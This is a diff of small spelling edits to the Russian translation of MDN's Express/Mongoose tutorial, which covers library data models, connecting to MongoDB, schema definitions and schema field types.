+<p>ΠœΠΎΠΆΠ½ΠΎΒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ модСли для прСдставлСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² списка Π²Ρ‹Π±ΠΎΡ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΉ список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²), вмСсто Тёсткого кодирования Π²Ρ‹Π±ΠΎΡ€Π° Π½Π° самом Π²Π΅Π±-сайтС -  рСкомСндуСтся, ΠΊΠΎΠ³Π΄Π° Π½Π΅ всС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ извСстны ΠΈΠ»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹. Явный кандидат для модСли такого Ρ‚ΠΈΠΏΠ° -- это Танр ΠΊΠ½ΠΈΠ³ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, «Научная фантастика», «Ѐранцузская поэзия» ΠΈ Ρ‚.Π΄.),</p>
<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈΡΡŒ с модСлями ΠΈ полями, слСдуСт ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎΠ± ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΡ… ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.</p>
-<p>Π‘ ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ сказанного, UML-Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° связСй (см. Π½ΠΈΠΆΠ΅) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСдставлСны ΠΊΠ°ΠΊ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ. ΠœΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ создадим ΠΌΠΎΠ΄Π΅Π»ΠΈ для ΠΊΠ½ΠΈΠ³ΠΈ (ΠΎΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎ ΠΊΠ½ΠΈΠ³Π΅), для экзСмпляра ΠΊΠ½ΠΈΠ³ΠΈ (состояниС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… физичСских ΠΊΠΎΠΏΠΈΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, доступных Π² систСмС) ΠΈ для Π°Π²Ρ‚ΠΎΡ€Π°. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρƒ нас Π±ΡƒΠ΄Π΅Ρ‚ модСль для ΠΆΠ°Π½Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти значСния ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ динамичСски. РСшСно Π½Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ модСль для  <code>BookInstance:status</code> β€” ΠΌΡ‹ ΠΏΡ€ΠΎΠΏΠΈΡˆΠ΅ΠΌ Π² ΠΊΠΎΠ΄Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ ΠΈΡ… измСнСния. На элСмСнтах Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ имя ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈΠΌΠ΅Π½Π° ΠΈ Ρ‚ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ, ΠΈΠΌΠ΅Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ Ρ‚ΠΈΠΏΡ‹ ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² .</p>
+<p>Π‘ ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ сказанного, UML-Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° связСй (см. Π½ΠΈΠΆΠ΅) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСдставлСны ΠΊΠ°ΠΊ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ. ΠœΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ создадим ΠΌΠΎΠ΄Π΅Π»ΠΈ для ΠΊΠ½ΠΈΠ³ΠΈ (ΠΎΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎ ΠΊΠ½ΠΈΠ³Π΅), для экзСмпляра ΠΊΠ½ΠΈΠ³ΠΈ (состояниС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… физичСских ΠΊΠΎΠΏΠΈΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, доступных Π² систСмС) ΠΈ для Π°Π²Ρ‚ΠΎΡ€Π°. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρƒ нас Π±ΡƒΠ΄Π΅Ρ‚ модСль для ΠΆΠ°Π½Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти значСния ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ динамичСски. РСшСно Π½Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ модСль для  <code>BookInstance:status</code> β€” ΠΌΡ‹ ΠΏΡ€ΠΎΠΏΠΈΡˆΠ΅ΠΌ Π² ΠΊΠΎΠ΄Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ ΠΈΡ… измСнСния. На элСмСнтах Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ имя ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈΠΌΠ΅Π½Π° ΠΈ Ρ‚ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ, ΠΈΠΌΠ΅Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ Ρ‚ΠΈΠΏΡ‹ ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² .</p>
<p>Π’Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ ΠΌΠ΅ΠΆΠ΄Ρƒ модСлями, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ мноТСствСнныС ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ. Числа Π½Π° линиях связи ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ максимум ΠΈ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΒ  ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ. НапримСр, линия ΠΌΠ΅ΠΆΠ΄Ρƒ <code>Book</code>Β ΠΈ <code>Genre</code>Β ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ <code>Book</code> ΠΈ <code>Genre</code> связаны. Числа Π½Π° этой Π»ΠΈΠ½ΠΈΠΈ рядом с модСлью <code>Book</code>Β ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΆΠ°Π½Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ связан с Π»ΡŽΠ±Ρ‹ΠΌ количСством ΠΊΠ½ΠΈΠ³, Π° числа Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅ Π»ΠΈΠ½ΠΈΠΈ рядом с <code>Genre</code> ΠΎΡ‚ΠΌΠ΅Ρ‡Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ½ΠΈΠ³Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ связана с Π»ΡŽΠ±Ρ‹ΠΌ количСством ΠΆΠ°Π½Ρ€ΠΎΠ².</p>
@@ -112,7 +112,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<p><img alt="Mongoose Library Model with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π΄Π°Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, ΠΊΠ°ΠΊ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄Π΅Π»ΠΈ. ΠŸΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π΄Π°Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, ΠΊΠ°ΠΊ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄Π΅Π»ΠΈ. ΠŸΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅.</p>
</div>
<h2 id="Mongoose_Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ">MongooseΒ Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ</h2>
@@ -158,14 +158,14 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));
<p>ΠŸΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ <code>mongoose.connection</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ стандартный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Connection</code>. ПослС ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² экзСмплярС <code>Connection</code> Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ событиС open (ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚).</p>
<div class="note">
-<p><strong>Tip:</strong> Если Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>mongoose.createConnection()</code>. ΠŸΡ€ΠΈ этом Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Ρ‚Π΅ ΠΆΠ΅ Π‘Π” URI (хост, Π‘Π”, ΠΏΠΎΡ€Ρ‚, ΠΎΠΏΡ†ΠΈΠΈ ΠΈ Ρ‚.Π΄.), Ρ‡Ρ‚ΠΎ ΠΈ Π² <code>connect()</code> ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Connection</code>.</p>
+<p><strong>Tip:</strong> Если Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>mongoose.createConnection()</code>. ΠŸΡ€ΠΈ этом Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Ρ‚Π΅ ΠΆΠ΅ Π‘Π” URI (хост, Π‘Π”, ΠΏΠΎΡ€Ρ‚, ΠΎΠΏΡ†ΠΈΠΈ ΠΈ Ρ‚.Π΄.), Ρ‡Ρ‚ΠΎ ΠΈ Π² <code>connect()</code> ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Connection</code>.</p>
</div>
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΈ_созданиС_ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΈ созданиС ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ</h3>
<p>МодСли ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ интСрфСйса <code>Schema</code> . Schema позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ поля, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, значСния ΠΏΠΎΠ»Π΅ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ трСбования ΠΏΠΎ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ статичСскиС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹-Ρ…Π΅Π»ΠΏΠ΅Ρ€Ρ‹ (ΠΎΡ‚ help), ΠΎΠ±Π»Π΅Π³Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρƒ с вашими Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Ρ‚ΡŒ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства,Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ поля, Π½ΠΎ Π±Π΅Π· влияния Π½Π° Π΄Π°Π½Π½Ρ‹Π΅ Π² самой Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>Π‘Ρ…Π΅ΠΌΡ‹ "ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ "Β  Π² ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ модСль ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ  <code>mongoose.model()</code>. ПослС создания ΠΌΠΎΠ΄Π΅Π»ΠΈ Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для поиска, создания, обновлСния ΠΈ удалСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</p>
+<p>Π‘Ρ…Π΅ΠΌΡ‹ "ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ "Β  Π² ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ модСль ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ  <code>mongoose.model()</code>. ПослС создания ΠΌΠΎΠ΄Π΅Π»ΠΈ Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для поиска, создания, обновлСния ΠΈ удалСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> КаТдой ΠΌΠΎΠ΄Π΅Π»ΠΈ соотвСтствуСт <em>коллСкция</em> <em>Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²</em> Π² Π”Π‘ MongoDB. Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ поля Ρ‚Π΅Ρ… Ρ‚ΠΈΠΏΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°Π½Ρ‹ Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Schema</code>.</p>
@@ -173,7 +173,7 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));
<h4 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_схСм_Π΄Π°Π½Π½Ρ‹Ρ…">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ схСм Π΄Π°Π½Π½Ρ‹Ρ…</h4>
-<p>Код Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ схСму. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ <code>require()</code> создаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ mongoose, Π·Π°Ρ‚Π΅ΠΌ конструктор Schema создаСт Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр схСмы, ΠΏΡ€ΠΈ этом Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ поля Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ конструктора.</p>
+<p>Код Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ схСму. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ <code>require()</code> создаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ mongoose, Π·Π°Ρ‚Π΅ΠΌ конструктор Schema создаёт Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр схСмы, ΠΏΡ€ΠΈ этом Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ поля Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ конструктора.</p>
<pre class="brush: js">//ВрСбуСтся Mongoose
var mongoose = require('mongoose');
@@ -212,7 +212,7 @@ var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre>
<h4 id="Π’ΠΈΠΏΡ‹_схСмы_(поля)">Π’ΠΈΠΏΡ‹ схСмы (поля)</h4>
-<p>Π‘Ρ…Π΅ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ любоС количСство ΠΏΠΎΠ»Π΅ΠΉ, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ…Ρ€Π°Π½ΠΈΠΌΠΎΠ³ΠΎ Π² Π‘Π” <em>MongoDB</em>. Π‘Ρ…Π΅ΠΌΠ°-ΠΏΡ€ΠΈΠΌΠ΅Ρ€ содСрТит опрСдСлСния ΠΌΠ½ΠΎΠ³ΠΈΡ… ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΏΠΎΠ»Π΅ΠΉ.</p>
+<p>Π‘Ρ…Π΅ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ любоС количСство ΠΏΠΎΠ»Π΅ΠΉ, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ…Ρ€Π°Π½ΠΈΠΌΠΎΠ³ΠΎ Π² Π‘Π” <em>MongoDB</em>. Π‘Ρ…Π΅ΠΌΠ°-ΠΏΡ€ΠΈΠΌΠ΅Ρ€ содСрТит опрСдСлСния ΠΌΠ½ΠΎΠ³ΠΈΡ… ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΏΠΎΠ»Π΅ΠΉ.</p>
<pre class="brush: js">var schema = new Schema(
{
@@ -228,12 +228,12 @@ var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre>
nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } }
})</pre>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ‚ΠΈΠΏΠΎΠ² Π² <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (ΡƒΠΊΠ°Π·Π°Π½Ρ‹ послС β€œtype:” ΠΈΠ»ΠΈ послС ΠΈΠΌΠ΅Π½ ΠΏΠΎΠ»Π΅ΠΉ) достаточно ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹. Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ:</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ‚ΠΈΠΏΠΎΠ² Π² <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (ΡƒΠΊΠ°Π·Π°Π½Ρ‹ послС β€œtype:” ΠΈΠ»ΠΈ послС ΠΈΠΌΡ‘Π½ ΠΏΠΎΠ»Π΅ΠΉ) достаточно ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹. Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ:</p>
<ul>
<li><code>ObjectId</code>: ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ экзСмпляр ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² Π‘Π”. НапримСр, book ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚- Π°Π²Ρ‚ΠΎΡ€Π°. ПолС Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ (<code>_id</code>) ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΡ€ΠΈ нСобходимости использования этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>populate()</code>.</li>
